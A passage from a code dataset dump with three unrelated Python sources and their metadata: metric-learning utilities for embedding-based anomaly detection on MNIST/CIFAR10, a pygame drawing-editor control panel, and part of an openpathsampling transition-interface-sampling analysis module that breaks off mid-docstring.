 Get embeddings for this batch, store in embs.\n        with torch.no_grad():\n            # Note that model's output is not softmax'ed.\n            out = embedding_model(X).cpu().detach().numpy()\n            out = out.reshape((len(out), -1))\n            embs.append(out)\n        ys.append(y.cpu())\n    # Putting all embeddings in shape (number of samples, length of one sample embeddings)\n    embs = np.concatenate(embs) # Maybe in (10000, 10)\n    ys   = np.concatenate(ys)\n    if return_y:\n        return embs, ys\n    return embs\n\n\ndef visualize_embeddings(title, embeddings, ys, classes):\n    return show_2D_tSNE(many_dim_vector=embeddings, target=[int(y) for y in ys], title=title, labels=classes)\n\n\ndef visualize_learner_embeddings(learn, title, all_data, size=0.5, normalize=True):\n    valid_ds, valid_dl = prepare_subset_ds_dl(all_data.path/'valid', size=size, tfms=None)\n    embs = get_embeddings(body_feature_model(learn.model, normalize=normalize), valid_dl)\n    return visualize_embeddings(title=title, embeddings=embs, ys=[int(y) for y in valid_ds.y],\n                                classes=valid_ds.y.classes)\n\n\ndef barplot_paired_charts(df_a, df_b, name_a, name_b, figsize=(14, 10), rot=30):\n    a = df_a.copy()\n    b = df_b.copy()\n    a.columns = [org+'\\n'+name_a for org in a.columns]\n    b.columns = [org+'\\n'+name_b for org in b.columns]\n    la = [pd.DataFrame(a[col]) for col in a.columns]\n    lb = [pd.DataFrame(b[col]) for col in b.columns]\n    return (pd.concat([pd.concat([_a, _b], axis=1) for _a, _b in zip(la, lb)], axis=1)\n            .boxplot(figsize=figsize, rot=rot))\n\n\ndef set_fastai_random_seed(seed=42):\n    # https://docs.fast.ai/dev/test.html#getting-reproducible-results\n\n    # python RNG\n    random.seed(seed)\n\n    # pytorch RNGs\n    import torch\n    torch.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True\n    if torch.cuda.is_available(): torch.cuda.manual_seed_all(seed)\n\n    # numpy RNG\n    import numpy as np\n    np.random.seed(seed)\n\n\ndef prepare_full_MNIST_databunch(data_path=Path('data_MNIST'), tfms=get_transforms(do_flip=False)):\n    \"\"\"Creates MNIST full set databunch.\"\"\"\n    restructured_path = prepare_full_MNIST(data_path)\n    return ImageDataBunch.from_folder(restructured_path, valid_pct=None, ds_tfms=tfms)\n\n\ndef prepare_CIFAR10_databunch(data_path=Path('data_CIFAR10'), tfms=get_transforms(do_flip=False)):\n    \"\"\"Creates CIFAR10 full set databunch.\"\"\"\n    restructured_path = prepare_CIFAR10(data_path)\n    return ImageDataBunch.from_folder(restructured_path, valid_pct=None, ds_tfms=tfms)\n\n\ndef prepare_subsampled_databunch(data_path, size=120, valid_pct=0.2, tfms=None, random_seed=42):\n    if random_seed is not None: set_fastai_random_seed(seed=random_seed)\n    files  = [Path(f) for f in subsample_files_in_tree(data_path/'train', '*.png', size=size)]\n    files += [Path(f) for f in subsample_files_in_tree(data_path/'valid', '*.png', size=size)]\n    labels = [Path(f).parent.name for f in files]\n    return ImageDataBunch.from_lists(data_path, files, labels, valid_pct=valid_pct, ds_tfms=tfms)\n\n\ndef prepare_CIFAR10_train_subsampled_databunch(size=120, valid_pct=0.2, random_seed=42):\n    \"\"\"Creates CIFAR10 sub-sampled training databunch.\"\"\"\n    restructured_path = prepare_CIFAR10(data_path=Path('data_CIFAR10'))\n    tfms=get_transforms(do_flip=False)\n    return prepare_subsampled_databunch(restructured_path, size=size, valid_pct=valid_pct,\n                                        tfms=tfms, random_seed=random_seed)\n\n\ndef prepare_subset_ds_dl(data_path, files=None, labels=None, size=0.1,\n                         tfms=None, img_size=None, extension='.png'):\n    # Sub-sample files\n    if files is None:\n        files = [Path(f) for f in subsample_files_in_tree(data_path, '*'+extension, size=size)]\n    if labels is None:\n        labels = [Path(f).parent.name for f in files]\n    # Once create data bunch\n    tmp_data = ImageDataBunch.from_lists(data_path, files, labels, valid_pct=0, ds_tfms=tfms, size=img_size)\n    # Create dataloader again so that it surely set `shuffle=False`\n    dl = torch.utils.data.DataLoader(tmp_data.train_ds, batch_size=tmp_data.batch_size, shuffle=False)\n    dl = DeviceDataLoader(dl, tmp_data.device)\n    return tmp_data.train_ds, dl\n\n\nclass ToyAnomalyDetection:\n    \"Toy Anomaly detection problem class\"\n\n    def __init__(self, base_databunch, n_anomaly_labels=1, n_cases=10, distance='cosine',\n                 n_worsts=5, subsample_size=1, test_size=0.5, pred_fn=np.min):\n        \"\"\"\n        Prerequisite:\n            Create base databunch object in advance. Call prepare_full_MNIST_databunch()\n            for example. (DATA ROOT)/images and valid folders will be used as data source.\n\n        Args:\n            base_databunch: Databunch fast.ai class object that holds whole dataset.\n            n_anomaly_labels: Number of anomaly labels\n            n_cases: Number of test cases; 1 to c\n            distance: 'cosine' or 'euclidean'\n            n_worsts: Number of samples to show worst cases.\n            subsample_size: (0, 1) or 1 or integer to set size of subsampling train/valid sets.\n            test_size: (0, 1) or 1 or integer to set size of subsampling test set.\n            pred_fn: Function to predict distance; np.min() by default.\n        \"\"\"\n        self.base_data, self.n_anomaly_labels, self.n_cases = base_databunch, n_anomaly_labels, n_cases\n        self.distance, self.n_worsts, self.test_size, self.pred_fn = distance, n_worsts, test_size, pred_fn\n        self.create_test_data(size=subsample_size)\n        self.results = defaultdict(list)\n\n    @property\n    def c(self): return self.base_data.c\n\n    @property\n    def classes(self): return self.base_data.train_ds.y.classes\n\n    @property\n    def path(self): return self.base_data.path\n\n    def anomaly_classes(self, case_no):\n        def rotate(l, n):\n            return l[n:] + l[:n]\n        return rotate(list(range(self.c)), case_no)[:self.n_anomaly_labels]\n\n    def all_classes(self):\n        return list(range(self.c))\n\n    def create_test_data(self, size=1):\n        \"\"\"\n        Creates test case folders for unknown anomaly class detection problem.\n        Each test cases removes `n_anomaly_labels` classes from training set,\n        and model will detect removed class as anomaly class.\n\n        Output:\n            Data_root/images/case[0-9]/train and valid folders.\n        \"\"\"\n        data_path = self.path\n        for case_no in range(self.n_cases):\n            case_folder = data_path/f'case{case_no}'\n            ensure_delete(case_folder)\n            ensure_folder(case_folder)\n            ensure_folder(case_folder/'train')\n            ensure_folder(case_folder/'valid')\n            for ci in range(self.c):\n                if ci in self.anomaly_classes(case_no): continue\n                label = self.classes[ci]\n                copy_subsampled_files(root=data_path/f'train/{label}', dest=case_folder/f'train/{label}',\n                                      wildcard='[A-Za-z0-9_]*.*', size=size)\n                copy_subsampled_files(root=data_path/f'valid/{label}', dest=case_folder/f'valid/{label}',\n                                      wildcard='[A-Za-z0-9_]*.*', size=size)\n\n    def databunch(self, case_no, tfms=get_transforms(do_flip=False)):\n        \"\"\"Creates test case ImageDataBunch.\"\"\"\n        return ImageDataBunch.from_folder(self.path/f'case{case_no}', ds_tfms=tfms)\n\n    def store_results(self, name, result):\n        self.results[name].append(result)\n\n    def test(self, name, learner_fn, case_no):\n        # train learner\n        anomaly_data = self.databunch(case_no)\n        learn = learner_fn(anomaly_data)\n\n        # Create evaluation data: `test` is evaluation target, while this `train` is subset of training set\n        eval_test_ds, eval_test_dl = prepare_subset_ds_dl(self.path/'valid', size=self.test_size, tfms=None)\n        eval_train_ds, eval_train_dl = prepare_subset_ds_dl(self.path/f'case{case_no}/train', size=self.test_size, tfms=None)\n        test_embs,  test_y  = get_embeddings(body_feature_model(learn.model), eval_test_dl, return_y=True)\n        train_embs, train_y = get_embeddings(body_feature_model(learn.model), eval_train_dl, return_y=True)\n\n        print(f'Evaluation size => test:{test_embs.shape}, train{train_embs.shape}')\n        distances = n_by_m_distances(test_embs, train_embs, how=self.distance)\n        print(f'Calculated distances in shape {distances.shape}')\n\n        # Get basic values\n        false_ys = self.anomaly_classes(case_no)\n        test_anomaly_mask = [y in  false_ys for y in test_y]\n        test_anomaly_idx = np.where(test_anomaly_mask)[0]\n        y_true = np.array(list(map(int, test_anomaly_mask)))\n        preds = self.pred_fn(distances, axis=1)\n\n        # 1. worst case\n        preds_y1 = preds[test_anomaly_mask]\n        worst_anidxs = preds_y1.argsort()[:self.n_worsts]\n        worst_test_idxs = test_anomaly_idx[worst_anidxs]\n        worst_train_idxs = np.argmin(distances[worst_test_idxs], axis=1)\n\n        worst_train_info = eval_train_ds.to_df().iloc[worst_train_idxs]\n        worst_test_info  = eval_test_ds.to_df().iloc[worst_test_idxs]\n        worst_test_info['distance'] = [distances[test_idx, trn_idx]\n                                       for trn_idx, test_idx in zip(worst_train_idxs, worst_test_idxs)]\n        worst_test_info['train_idx'] = worst_train_info.index\n        worst_test_info['train_x'] = worst_train_info.x.values\n        worst_test_info['train_y'] = worst_train_info.y.values\n\n        # 2. ROC/AUC\n        fpr, tpr, thresholds = metrics.roc_curve(y_true, preds)\n        auc = metrics.auc(fpr, tpr)\n\n        # 3. mean_class_distance\n        mean_class_distance = [[np.mean(distances[test_y == cur_test_y, :][:, train_y == cur_trn_y])\n                                for cur_trn_y in range(eval_train_dl.c)]\n                               for cur_test_y in range(eval_test_dl.c)]\n        distance_df = pd.DataFrame(mean_class_distance,\n                                   columns=[self.classes[c] for c in range(eval_train_dl.c)])\n        \n        result = distance_df, (auc, fpr, tpr), worst_test_info\n        self.store_results(name, result)\n        return result\n    \n    def do_tests(self, name, learner_fn, delete_models=False):\n        for case_no in range(self.n_cases):\n            print(f'\\nTesting {name} for case #{case_no}')\n            self.test(name, learner_fn, case_no)\n        if delete_models:\n            delete_saved_models(self.path)\n\n    def test_summary(self, results=None, names=None, auc_range=[0.4, 0.9], dist_range=list(range(10))):\n        if results is None:\n            names = self.results.keys()\n            results = self.results.values()\n        normal_dists = {name: [] for name in names}\n        anomaly_dists = {name: [] for name in names}\n        aucs = pd.DataFrame()\n        for case_no in range(self.n_cases):\n            for result, name in zip(results, names):\n                distance_df, (auc, fpr, tpr), worst_test_info = result[case_no]\n                # collect distances\n                min_dists = distance_df.min(axis=1).values\n                anocls = self.anomaly_classes(case_no)\n                anomaly_dists[name].extend(min_dists[anocls])\n                normal_dists[name].extend(min_dists[[c for c in self.all_classes() if c not in anocls]])\n                # collect auc\n                aucs.loc[case_no, name] = auc\n        # distance metric\n        distance_norms = pd.DataFrame(normal_dists).mean()\n        normalized_anomaly_distances = pd.DataFrame(anomaly_dists)/distance_norms\n        normalized_normal_distances = pd.DataFrame(normal_dists)/distance_norms\n\n        print('# Stat: AUC')\n        ax = aucs.boxplot(figsize=(5, 4), rot=30)\n        if auc_range is not None: ax.set_ylim(*auc_range)\n        plt.show()\n\n        print('# Stat: Normalized distances')\n        ax = barplot_paired_charts(normalized_anomaly_distances,\n                                   normalized_normal_distances, 'Anomaly', 'Normal',\n                                   figsize=(10, 5))\n        if dist_range is not None: ax.set_yticks(dist_range)\n        plt.show()\n\n        # case detail\n        for case_no in range(self.n_cases):\n            case_df = pd.DataFrame(np.array([r[case_no][0].min(axis=1) for r in results]).T,\n                                   columns=names)\n            case_df.index = [f'<unk> {c}' if c in self.anomaly_classes(case_no) else str(c)\n                             for c in self.all_classes()]\n            print(f'\\n## {self.anomaly_classes(case_no)}: normalized mean distance')\n            display(case_df / distance_norms)\n\n        self.normalized_anomaly_distances, self.aucs = normalized_anomaly_distances, aucs\n        self.normalized_normal_distances = normalized_normal_distances\n        return normalized_anomaly_distances, normalized_normal_distances, aucs\n\n    def save_results(self, to_folder):\n        ensure_folder(to_folder)\n        self.normalized_anomaly_distances.to_csv(f'{str(to_folder)}/norm-ano-dist_anomaly={self.n_anomaly_labels}'\n                                                 +f'_{self.distance}.csv')\n        self.aucs.to_csv(f'{str(to_folder)}/auc_anomaly={self.n_anomaly_labels}_{self.distance}.csv')\n\n    def show_worst_test_images(self, title, worst_test_info, case_no):\n        fig, all_axes = plt.subplots(2, 5, figsize=(18, 7))\n        fig.suptitle(title)\n        for j, axes in enumerate(all_axes):\n            for i, ax in enumerate(axes):\n                cur = worst_test_info.loc[worst_test_info.index[i]]\n                if j == 0:\n                    img = load_rgb_image(self.path/f'valid/{cur.x}')\n                    ax.set_title(f'Failed test/{cur.x}\\ndistance={cur.distance:.6f}')\n                else:\n                    img = load_rgb_image(self.path/f'train/{cur.train_x}')\n                    ax.set_title(f'confused w/ {cur.train_x}')\n                show_np_image(img, ax=ax)\n\n    def show_all_worst_test_images(self, case_no):\n        for name, result in self.results.items():\n            distance_df, (auc, fpr, tpr), worst_test_info = result[case_no]\n            self.show_worst_test_images(f'{name} in test case #{case_no}', worst_test_info, case_no)\n", "repo_name": "daisukelab/metric_learning", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 15870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 57, "dataset": "github-code", "pt": "78", "api": [{"api_name": "subprocess.Popen", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 155, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 250, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 261, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 261, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 262, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 262, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 318, "usage_type": "call"}]}
{"seq_id": "11714933221", "text": "#! python 3\n# kennex\n#\nimport pygame\n\npygame.font.init()\n\n\nclass Control_Panel():\n    \"\"\"A class to store the control panel for the drawing editor.\"\"\"\n\n    def __init__(self, gs, screen):\n        \"\"\"Initialize the control panel.\"\"\"\n        self.gs = gs\n        self.screen = screen\n        self.color = gs.black\n        self.selected = None\n        self.dots = []\n\n    def draw_control_panel(self, gs, screen):\n        # Control Panel\n        self.cp_bg = pygame.Rect(0, 0, 170, 80)\n        pygame.draw.rect(screen, gs.white, self.cp_bg)\n        pygame.draw.rect(screen, gs.black, self.cp_bg, 2)\n\n        # Dot\n        self.dot_text_image = gs.verdana12.render('DOT', True, gs.black)\n        screen.blit(self.dot_text_image, (10, 10))\n        self.dot_color = gs.black\n        self.dot_text_image_rect = self.dot_text_image.get_rect()\n        self.cp_button1 = pygame.Rect((self.dot_text_image_rect.right + 15), self.dot_text_image_rect.centery, 20, 20)\n\n\n        # Line\n        self.line_text_image = gs.verdana12.render('LINE', True, gs.black)\n        screen.blit(self.line_text_image, (75, 10))\n        self.line_color = gs.black\n        self.line_text_image_rect = self.line_text_image.get_rect()\n        self.cp_button2 = pygame.Rect((self.line_text_image_rect.right + 85), self.line_text_image_rect.centery, 20, 20)\n\n\n        # Multiline\n        self.mline_text_image = gs.verdana12.render('MLINE', True, gs.black)\n        screen.blit(self.mline_text_image, (10, 40))\n        self.mline_color = gs.black\n        self.mline_text_image_rect = self.mline_text_image.get_rect()\n        self.cp_button3 = pygame.Rect((self.mline_text_image_rect.right + 15), self.mline_text_image_rect.centery + 30, 20, 20)\n\n\n        # Clear\n        self.clear_text_image = gs.verdana12.render('CLEAR', True, gs.black)\n        screen.blit(self.clear_text_image, (85, 40))\n        self.clear_color = gs.black\n        self.clear_text_image_rect = self.clear_text_image.get_rect()\n        self.cp_button4 = pygame.Rect((self.clear_text_image_rect.right + 95), self.clear_text_image_rect.centery + 30, 20, 20)\n\n\n        # Draw Buttons\n        if self.selected == 1:\n            self.dot_color = gs.red\n        elif self.selected == 2:\n            self.line_color = gs.red\n        elif self.selected == 3:\n            self.mline_color = gs.red\n        elif self.selected == 4:\n            self.dot_color = gs.black\n            self.line_color = gs.black\n            self.mline_color = gs.black\n            self.clear_color = gs.black\n            print(self.dots)\n            self.selected = None\n            self.dots = []\n\n        pygame.draw.rect(screen, self.dot_color, self.cp_button1)\n        pygame.draw.rect(screen, self.line_color, self.cp_button2)\n        pygame.draw.rect(screen, self.mline_color, self.cp_button3)\n        pygame.draw.rect(screen, self.clear_color, self.cp_button4)\n\n\n\n\n    def draw_dots(self, gs, screen):\n        # Draws dots to the screen until Clear is pressed\n        for dot in self.dots:\n            if self.dots.index(dot) > 0:\n                pygame.draw.circle(screen, gs.red, dot, 5)\n\n        #pygame.display.update()\n\n    def draw_line(self, gs, screen, event):\n        # Draws lines to the screen until Clear is pressed\n        pass\n\n    def draw_mline(self, gs, screen, event):\n        # Draws multi-lines to the screen until Clear is pressed\n        # Double click stops the lines\n        pass\n\n\n\n    def check_clicked_setting(self, gs, screen, event):\n        # Choose which setting in control panel required\n        if self.cp_button1.collidepoint(event.pos):\n            self.selected = 1\n        elif self.cp_button2.collidepoint(event.pos):\n            self.selected = 2\n        elif self.cp_button3.collidepoint(event.pos):\n            self.selected = 3\n        elif self.cp_button4.collidepoint(event.pos):\n            self.selected = 4\n\n\n", "repo_name": "kennex-software/captive_game", "sub_path": "control_panel.py", "file_name": "control_panel.py", "file_ext": "py", "file_size_in_byte": 3867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.font.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 86, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 86, "usage_type": "attribute"}]}
{"seq_id": "34174665885", "text": "import collections\nimport openpathsampling as paths\nfrom openpathsampling.netcdfplus import StorableNamedObject\nfrom openpathsampling.progress import SimpleProgress\nimport pandas as pd\nimport numpy as np\n\n\ndef steps_to_weighted_trajectories(steps, ensembles):\n    \"\"\"Bare function to convert to the weighted trajs dictionary.\n\n    This prepares data for the faster analysis format. This preparation only\n    need to be done once, and it will cover a lot of the analysis cases.\n\n    Parameters\n    ----------\n    steps: iterable of :class:`.MCStep`\n        steps to be analyzed\n    ensembles: list of :class:`.Ensemble`\n        ensembles to include in the list. Note: ensemble must be given!\n\n    Returns\n    -------\n    dict of {:class:`.Ensemble`: collections.Counter}\n        the result, with the ensemble as key, and a counter mapping each\n        trajectory associated with that ensemble to its counter of time\n        spent in the ensemble.\n    \"\"\"\n    results = {e: collections.Counter() for e in ensembles}\n\n    # loop over blocks # TODO: add blocksize parameter, test various sizes\n    block_steps = steps\n    block = collections.defaultdict(list)\n    for step in block_steps:\n        for ens in ensembles:\n            block[ens].append(step.active[ens].trajectory)\n\n    block_counter = {e: collections.Counter(block[e]) for e in ensembles}\n\n    for e in results:\n        results[e] += block_counter[e]\n\n    return results\n\n\nclass TransitionDictResults(StorableNamedObject):\n    \"\"\"Analysis result object for properties of a transition.\n\n    Each value is associated with a specific (analysis/physical) transition.\n    This object allows those values to be accessed either using (as a key,\n    i.e., in square brackets) any of:\n\n    * the transition object for the (initial_state, final_state) pair\n    * the tuple of (initial_state, final_state) for the transition\n    * the sampling transition object, if ``allow_sampling==True``; this is\n      only desired if the quantity is only dependent on the sampling\n      transition\n\n    Note that results cannot be changed in this; a new object must be made\n    if that is desired (but the original input can be accessed with the\n    .results_dict attribute, and then modified as needed).\n\n    Parameters\n    ----------\n    results_dict : dict of 2-tuple of :class:`.Volume` to float or Quantity\n        dict connecting tuple of (initial_state, final_state) to the\n        associated quantity\n    network : :class:`.TransitionNetwork`\n        the transition network associated with these results\n    allow_sampling : bool\n        whether to allow elements of network.sampling_transitions to be used\n        as keys for to retrieve the stored results; this only makes sense if\n        the stored result is only dependent on the sampling transition\n    \"\"\"\n    # allows you to use analysis transition, 2-tuple of states, or sampling\n    # transition as the key to retrieve the stored results\n    def __init__(self, results_dict, network, allow_sampling=True):\n        # allow_sampling: can the sampling transitions be input?\n        self.results_dict = results_dict\n        self.network = network\n        self.allow_sampling = allow_sampling\n\n    def __iter__(self):\n        return self.results_dict.__iter__()\n\n    def __getitem__(self, key):\n        if key in self.network.sampling_transitions and self.allow_sampling:\n            key = self.network.sampling_to_analysis[key][0]\n        try:\n            key = (key.stateA, key.stateB)\n        except AttributeError:\n            # we have a stateA, stateB tuple\n            pass\n        return self.results_dict[key]\n\n    def to_pandas(self, order=None):\n        \"\"\"Output stored results as pandas.DataFrame\n\n        Parameters\n        ----------\n        order : list of :class:`.Volume`\n            order in which to list the states; if not used, the order may be\n            unpredictable\n\n        Returns\n        -------\n        :class:`pandas.DataFrame`\n            DataFrame with initial states as rows and final states as\n            columns\n        \"\"\"\n        key_map = lambda key: key.name\n        keys = list(self.results_dict.keys())\n        idx_vols = [k[0] for k in keys]\n        col_vols = [k[1] for k in keys]\n        if order is None:\n            order = set(idx_vols + col_vols)\n        index = [key_map(k) for k in order if k in idx_vols]\n        columns = [key_map(k) for k in order if k in col_vols]\n        result = pd.DataFrame(index=index, columns=columns)\n        for k in keys:\n            result.at[key_map(k[0]), key_map(k[1])] = self.results_dict[k]\n\n        return result\n\n    def __str__(self):  # pragma: no cover\n        return self.to_pandas().__str__()\n\n    def __repr__(self):\n        return self.to_pandas().__repr__()\n\nclass MultiEnsembleSamplingAnalyzer(SimpleProgress, StorableNamedObject):\n    \"\"\"\n    Abstract class for statistics from MC steps sampling multiple ensembles.\n\n    Parameters\n    ----------\n    ensembles : list of :class:`.Ensemble`\n        ensembles to be used in the calculation; can be overridden by\n        :meth:`.calculate`\n    \"\"\"\n    def __init__(self, ensembles=None):\n        self.ensembles = ensembles\n\n    def calculate(self, steps, ensembles=None):\n        \"\"\"Perform the analysis, using `steps` as input.\n\n        This is the main analysis for the abstract\n        :class:`.MultiEnsembleSamplingAnalyzer`. Specific results depend on\n        the specific subclass. Most objects simply need to override\n        :meth:`.from_weighted_trajectories` in order to obtain reasonable\n        behavior.\n\n        Parameters\n        ----------\n        steps : iterable of :class:`.MCStep`\n            the steps to use as input for this analysis\n        ensembles : list of :class:`.Ensemble`\n            ensembles to include in the calculation (other ensembles will be\n            stripped); default is `None` meaning all ensembles given during\n            initialization.\n\n        Returns\n        -------\n        See .from_weighted_trajectories for this class.\n        \"\"\"\n        if ensembles is None:\n            ensembles = self.ensembles\n        if ensembles is None:\n            raise RuntimeError(\"If self.ensembles is not set, then \"\n                               + \"ensembles must be given as argument to \"\n                               + \"calculate\")\n        steps = self.progress(steps, desc=\"Weighted trajectories\")\n        weighted_trajs = steps_to_weighted_trajectories(steps, ensembles)\n        return self.from_weighted_trajectories(weighted_trajs)\n\n    def from_weighted_trajectories(self, input_dict):\n        \"\"\"Calculate results from weighted trajectories dictionary.\n\n        Must be implemented in subclass.\n        \"\"\"\n        raise NotImplementedError\n\n    @staticmethod\n    def combine_results(result_1, result_2):\n        \"\"\"Combine two sets of results from this analysis.\n\n        This can be used to combine results after parallelizing the\n        analysis. The default is not implemented; it will only be\n        implemented in cases where such a combination is feasible.\n        \"\"\"\n        # to be used to simplify parallelization\n        # TODO: implement this in subclasses in the future\n        raise NotImplementedError\n\nclass EnsembleHistogrammer(MultiEnsembleSamplingAnalyzer):\n    \"\"\"\n    Generic code to calculate the properly weighted histograms of trajectory\n    properties per ensemble.\n\n    Parameters\n    ----------\n    ensembles: list of :class:`.Ensemble`\n        ensembles to be included in the histogram\n    f: callable\n        the function to be histogrammed\n    hist_parameters: dict\n        allowed keys are 'bin_width' and 'bin_range'; value for 'bin_width'\n        is a float; for 'bin_range' is a tuple with `(left_edge,\n        right_edge)` (only left edge is used)\n    \"\"\"\n    _label = \"Ensembles\"\n    def __init__(self, ensembles, f, hist_parameters):\n        super(EnsembleHistogrammer, self).__init__(ensembles)\n        self.f = f\n        self.hist_parameters = hist_parameters\n        self.hists = {e: paths.numerics.Histogram(**self.hist_parameters)\n                      for e in self.ensembles}\n\n    def from_weighted_trajectories(self, input_dict):\n        \"\"\"Calculate results from a weighted trajectories dictionary.\n\n        Parameters\n        ----------\n        input_dict : dict of {:class:`.Ensemble`: collections.Counter}\n            ensemble as key, and a counter mapping each trajectory\n            associated with that ensemble to its counter of time spent in\n            the ensemble (output of `steps_to_weighted_trajectories`)\n\n        Returns\n        -------\n        dict of {:class:`.Ensemble`: :class:`.numerics.Histogram`}\n            calculated histogram for each ensemble\n        \"\"\"\n        hists = self.progress(self.hists, desc=self._label)\n        for ens in hists:\n            trajs = input_dict[ens].keys()\n            weights = list(input_dict[ens].values())\n            data = [self.f(traj)\n                    for traj in self.progress(trajs, leave=False)]\n            self.hists[ens].histogram(data, weights)\n        return self.hists\n\n\nclass TISAnalysis(StorableNamedObject):\n    \"\"\"\n    Generic class for TIS analysis. One of these for each network.\n\n    In general, the TIS rate is split into the flux and the transition\n    probability.\n\n    Parameters\n    ----------\n    network : :class:`.TransitionNetwork`\n        the reaction network to be analyzed\n    flux_method : flux calculation method\n        the method to use to calculate the flux; typical classes are\n        :class:`.MinusMoveFlux` and :class:`.DictFlux`\n    transition_probability_methods : dict of :class:`.Transition` to method\n        the method for calculating the transition probability (one for each\n        transition).\n    \"\"\"\n    def __init__(self, network, flux_method, transition_probability_methods):\n        self.network = network\n        self.transitions = network.transitions\n        self.flux_method = flux_method\n        self.transition_probability_methods = transition_probability_methods\n        self.results = {}\n\n    def calculate(self, steps):\n        \"\"\"Perform the analysis, using `steps` as input.\n\n        Parameters\n        ----------\n        steps : iterable of :class:`.MCStep`\n            the steps to use as input for this analysis\n        \"\"\"\n        self.results = {}\n        flux_m = self.flux_method\n        fluxes = flux_m.calculate(steps)\n        self.results['flux'] = fluxes\n        weighted_trajs = steps_to_weighted_trajectories(\n            steps,\n            self.network.sampling_ensembles\n        )\n        self.from_weighted_trajectories(weighted_trajs)\n\n    def from_weighted_trajectories(self, input_dict):\n        \"\"\"Calculate results from weighted trajectories dictionary.\n\n        Parameters\n        ----------\n        input_dict : dict of {:class:`.Ensemble`: collections.Counter}\n            ensemble as key, and a counter mapping each trajectory\n            associated with that ensemble to its counter of time spent in\n            the ensemble (output of `steps_to_weighted_trajectories`)\n        \"\"\"\n        # dict of transition to transition probability\n        tp_m = self.transition_probability_methods\n        trans_prob = {t: tp_m[t].from_weighted_trajectories(input_dict)\n                      for t in tp_m.keys()}\n        self.results['transition_probability'] = TransitionDictResults(\n            {(t.stateA, t.stateB) : trans_prob[t] for t in trans_prob},\n            self.network\n        )\n\n        fluxes = self.flux_matrix\n        rates = {}\n        for (trans, transition_probability) in trans_prob.items():\n            trans_flux = fluxes[(trans.stateA, trans.interfaces[0])]\n            rates[(trans.stateA, trans.stateB)] = \\\n                    trans_flux * transition_probability\n\n        self.results['rate'] = TransitionDictResults(rates, self.network)\n        return self.results\n\n    def _access_cached_result(self, key):\n        try:\n            return self.results[key]\n        except KeyError:\n            raise AttributeError(\"Can't access results for '\" + key\n                                 + \"' until analysis is performed\")\n\n    @property\n    def flux_matrix(self):\n        \"\"\"dict of {(:class:`.Volume`, :class:`.Volume`): float}: keys are\n        (state, interface); values are the associated flux\n        \"\"\"\n        return self._access_cached_result('flux')\n\n    def flux(self, from_state, through_interface=None):\n        \"\"\"Flux from a volume and through and interface.\n\n        Shortcut to be used after the actual calculation has been performed.\n\n        Parameters\n        ----------\n        from_state : :class:`.Volume`\n            the volume the flux should start from\n        through_interface : :class:`.Volume`\n            the interface the flux should cross; default is None which uses\n            the ``from_state`` volume\n\n        Returns\n        -------\n        float or Quantity\n            the flux out of the given state and through the given interface\n        \"\"\"\n        fluxes = self._access_cached_result('flux')\n        if through_interface is None:\n            through_interface = from_state\n\n        return fluxes[(from_state, through_interface)]\n\n    def state_fluxes(self, from_state):\n        \"\"\"All fluxes associated with a given initial state.\n\n        Shortcut to be used after the actual calculation has been performed.\n\n        Parameters\n        ----------\n        from_state : :class:`.Volume`\n            the volume the fluxes should start from\n\n        Returns\n        -------\n        dict of 2-tuple of :class:`.Volume` to float\n            dictionary of (state, interface) to the 